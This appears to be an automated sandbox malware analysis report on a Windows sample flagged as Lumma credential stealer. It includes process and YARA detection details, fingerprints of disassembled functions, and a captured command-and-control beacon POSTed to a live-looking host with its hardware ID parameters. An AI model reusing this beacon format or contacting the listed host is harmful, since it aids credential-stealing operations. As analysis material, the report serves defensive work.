7	192.168.2.4	49748	172.67.151.61	443	7764	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:16:46 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: bithithol.click
2024-12-24 07:16:46 UTC	86	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 76 51 4f 58 4e 2d 2d 6d 6f 6e 65 79 74 72 65 65 26 6a 3d 26 68 77 69 64 3d 35 34 36 43 41 34 38 45 34 30 33 46 43 34 35 45 36 44 46 37 30 30 37 45 36 42 42 34 36 39 44 31 Data Ascii: act=get_message&ver=4.0&lid=VvQOXN--moneytree&j=&hwid=546CA48E403FC45E6DF7007E6BB469D1
2024-12-24 07:16:47 UTC	1117	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:16:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ere36gkl9qaa8kaqr69j3qmec4; expires=Sat, 19 Apr 2025 01:03:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S2E9ZfyKB0KU8IbckYvqIHTuOUlbGvsVr5NgFDplYNkiSKHooW1pYKSPsi8EKlTLmscB4Kwfr0BgWtODZKEwkmPlBIjw4tjAFaTNowYJv4P2TOHFk8OPb7NPhHCd9GjcPsM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ececf9d4ab9c5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1806&min_rtt=1801&rtt_var=686&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=985&delivery_rate=1581798&cwnd=141&unsent_bytes=0&cid=b70aacc66fc6de39&ts=776&x=0"
2024-12-24 07:16:47 UTC	54	IN	Data Raw: 33 30 0d 0a 38 64 47 51 43 38 75 51 39 5a 38 66 67 75 4b 33 73 72 58 79 53 56 33 59 42 42 35 33 38 77 46 37 4b 65 66 66 54 4c 48 6d 69 48 4b 71 6a 41 3d 3d 0d 0a Data Ascii: 308dGQC8uQ9Z8fguK3srXySV3YBB538wF7KeffTLHmiHKqjA==
2024-12-24 07:16:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:15:58
Start date:	24/12/2024
Path:	C:\Users\user\Desktop\txUcQFc0aJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\txUcQFc0aJ.exe"
Imagebase:	0x810000
File size:	4'029'080 bytes
MD5 hash:	856FCC25696A214F54AF0D37DE84D818
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1966405613.00000000014C2000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:16:23
Start date:	24/12/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x550000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.2085443565.00000000031CD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.2085504854.000000000316F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.2085718854.000000000316F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 0083A870 Relevance: 6.4, Strings: 5, Instructions: 121COMMON

Download Yara Rule

Strings

runtime: SetWaitableTimer failed; errno= 34694469519536141888238489627838134765625strconv: illegal AppendInt/FormatInt basecan't call pointer on a non-pointer Value of unaddressable valueMapIter.Next called on exhausted iteratorx509: cannot p, xrefs: 0083A978
d, xrefs: 0083A8F6
runtime: NtCancelWaitCompletionPacket failed; errno= reflect: non-interface type passed to Type.Implementsx509: certificate specifies an incompatible key usage : attempted operation on invalid pointbytes.Buffer: reader returned negative count fro, xrefs: 0083AA59
runtime: NtAssociateWaitCompletionPacket failed; errno= non-empty pointer map passed for non-pointer-size valuesx509: subject key identifier incorrectly marked criticalx509: internal error: empty chain when appending CA certpkcs7: unsupported digest %q for enc, xrefs: 0083AA1A
5, xrefs: 0083AA62

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: 5$d$runtime: NtAssociateWaitCompletionPacket failed; errno= non-empty pointer map passed for non-pointer-size valuesx509: subject key identifier incorrectly marked criticalx509: internal error: empty chain when appending CA certpkcs7: unsupported digest %q for enc$runtime: NtCancelWaitCompletionPacket failed; errno= reflect: non-interface type passed to Type.Implementsx509: certificate specifies an incompatible key usage : attempted operation on invalid pointbytes.Buffer: reader returned negative count fro$runtime: SetWaitableTimer failed; errno= 34694469519536141888238489627838134765625strconv: illegal AppendInt/FormatInt basecan't call pointer on a non-pointer Value of unaddressable valueMapIter.Next called on exhausted iteratorx509: cannot p
API String ID: 0-3238887804
Opcode ID: cd1c674736d738e8de169f4a7e88fa5604d49ae16b636c39a631a7f749769128
Instruction ID: 246d297488843e431c802296cb3a6ee18c6e4364a1352c5d9f07367fe0af5ed9
Opcode Fuzzy Hash: cd1c674736d738e8de169f4a7e88fa5604d49ae16b636c39a631a7f749769128
Instruction Fuzzy Hash: 5251ABB49087019FD344EF68D185B1ABBE0FB88704F01892DF999C7362EB759949CB93

Function 00834E80 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

@, xrefs: 00835082

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: d8dc5429cc8b941d19a9f9a2b2bf9ccf0c3a02308400dbe8605a4aee22b45baf
Instruction ID: 312089511180cb1230315016345338f3684cfbc050251c57b4c8eb52e3bb309a
Opcode Fuzzy Hash: d8dc5429cc8b941d19a9f9a2b2bf9ccf0c3a02308400dbe8605a4aee22b45baf
Instruction Fuzzy Hash: 66A18E756087068FD304DF18C8C061AB7E1FBC8314F548A2DE9999B356DB34E946CBC2

Function 00833FD0 Relevance: 1.5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

Strings

@, xrefs: 008341F8

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: c77e93d592ef3ed9f887d9e1353186ad5c4da6a8ea8a2aef0bd9c6430796aeac
Instruction ID: b3632bddf057b5c5ed0588a72968a0ba814f6a6e640f7da1a784a7cc218aea90
Opcode Fuzzy Hash: c77e93d592ef3ed9f887d9e1353186ad5c4da6a8ea8a2aef0bd9c6430796aeac
Instruction Fuzzy Hash: 7491DEB5A193459FC344DF28C08062ABBE1FBC8744F90992DF899D7341E735E985CB82

Function 00830E20 Relevance: .5, Instructions: 493COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee4f62d70aa0b35128154ac19f5a89e45d815fd5f4df58c476730b0bf00cff28
Instruction ID: 13196b84920d79850bf8f396b2efba22f5d8420bc514d53be24145268c8b5d7a
Opcode Fuzzy Hash: ee4f62d70aa0b35128154ac19f5a89e45d815fd5f4df58c476730b0bf00cff28
Instruction Fuzzy Hash: 1422BC746097419FC768DF68C090A6ABBE1FFC9700F54892DE9D9C7351DB34E8848B82

Function 008356A0 Relevance: .5, Instructions: 462COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7744eb031e2ae40377e2f7ba5a2834e951b4902dc4142f3e45bcbe4019fd0b1
Instruction ID: b2e4acd83fab1b72bdc66c6444c3f93019070bf79c42289d038b9183f9817acd
Opcode Fuzzy Hash: a7744eb031e2ae40377e2f7ba5a2834e951b4902dc4142f3e45bcbe4019fd0b1
Instruction Fuzzy Hash: EBE1D333E2472547D3149E58CC80249B2D3ABC8670F4EC72DED95AB781EAB4ED5987C2

Function 0082C420 Relevance: .5, Instructions: 459COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ced22bdfc03007399a4bcc2a63246a326200ec6981c198d07bc133b692559bce
Instruction ID: fe84d267afb4a8c7d1e02fa0e24009b37aedecad7e6a2ce0393f974e30c796a9
Opcode Fuzzy Hash: ced22bdfc03007399a4bcc2a63246a326200ec6981c198d07bc133b692559bce
Instruction Fuzzy Hash: 09E1F5366093294FD315DE58D4C0A2EB7D2FBC8344F14863CE995CB385EB71A945CAC2

Function 0083EBB0 Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc6c6f4c5af6226585edc9ff8b27a12339e716c141822053c9843a0d02b26512
Instruction ID: e07811ae0a4bf7ac1d6d95ac517199d4ef5147214a8bb655494d4186af6c44dc
Opcode Fuzzy Hash: fc6c6f4c5af6226585edc9ff8b27a12339e716c141822053c9843a0d02b26512
Instruction Fuzzy Hash: 4BD10D746093548BC714DF29C090A2ABBE2FFC9744F58886DF8C59B3A2D635E944DB82

Function 0081EDC0 Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 654c98f2ee7f58d664ec75063a90a17170e8c0cde3fffad29ca499429047773f
Instruction ID: c6d27d4eb64b3698b3b53e1ba663c21ae209481c34a469b4f1da50042e3b5576
Opcode Fuzzy Hash: 654c98f2ee7f58d664ec75063a90a17170e8c0cde3fffad29ca499429047773f
Instruction Fuzzy Hash: 1DC104746093459FC704EF28C49166ABBE4FF88744F10896EF899CB342EB35D985CB92

Function 008365C0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb4041df050935b7141ae275044bb5e84f36b2a0926043acd130fe9fcea7ce98
Instruction ID: 4efa2dbf5bde9de79f25add45b02be02fbfc5a0a4d7f0162cc794beead80c12e
Opcode Fuzzy Hash: fb4041df050935b7141ae275044bb5e84f36b2a0926043acd130fe9fcea7ce98
Instruction Fuzzy Hash: 25810236A493295FD7259E9C889026D7282FBC8358F19873CD974CB3C5FBB1982586C1

Function 00834900 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
